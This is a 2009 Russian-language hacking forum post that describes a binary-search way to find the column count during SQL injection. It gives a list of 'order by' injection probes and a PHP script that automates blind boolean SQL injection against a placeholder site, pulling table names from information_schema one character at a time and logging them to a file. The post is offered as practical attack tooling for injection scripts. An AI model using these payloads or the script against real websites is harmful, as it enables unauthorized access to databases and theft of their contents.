Показать сообщение отдельно

  #86  
Старый 18.04.2009, 10:30
fker
Участник форума
Регистрация: 26.11.2008
Сообщений: 158
С нами: 9187097

Репутация: 158
По умолчанию

Ускоренный подбор колонок, можно и символов:
например колонок 30
мы начинаем проверять
order+by+100-- error
order+by+50-- error
order+by+25-- good
order+by+37-- error
order+by+31-- err
order+by+28-- good
order+by+30-- good
order+by+31-- err
=> полей 30
За один запрос мы отрубаем ненужную половину.
Непомню как называетса этот способ, он испоьзуется при сортировки массива.. Думаю неплохо былоб его использовать в скриптах для подбора. Кол-во обращений к бд сокращается в разы.
апд:
/* Для новичков, типа меня, будет просто полезно знать способ*/
апд2:
Где Вы видите что этим способом пользуются все?
скрипт с предидущей страницы. Хотя можно было бы сократить кол-во циклов.
Код:
for ($x=0;$x<=count($ascii);$x++){
	$f1=fopen($file,"a");
	$sql = "SELECT+table_name+from+information_schema.tables+w  here+table_schema='db'+limit+".$limit.",1"; // Отображение таблиц в БД
	$url="http://www.site.com/download.php?id=2+AND+ascii(substring((".$sql."),".$substring.",1))=".$ascii[$x];

	$var = strlen(file_get_contents($url,FALSE,NULL,0,1));
	if ($var != 0){
			$info = $substring . ">".chr($ascii[$x])."\n";
			$string.= chr($ascii[$x]); // Получаем значение и сохраняем его
			echo "[".$substring."] > FOUND :>>>>>>>>>>> ".$string."\r\n";
			fwrite($f1,$info);
			fclose($f1);
			exit();
	}else{
		echo chr($ascii[$x]).chr(13);
	}
И еще, 2[underwater] зачем при каждой интерации цикла выполнять проверку длинны массива... пустая трата процессорного времени и "тормознутость" скрипта.(я про $x<=count($ascii))
В SIPT4 не могу проверить каким образом подбирается кол-во столбцов, у кого получилось проверить отпишите плз.

Последний раз редактировалось fker; 18.04.2009 в 14:39..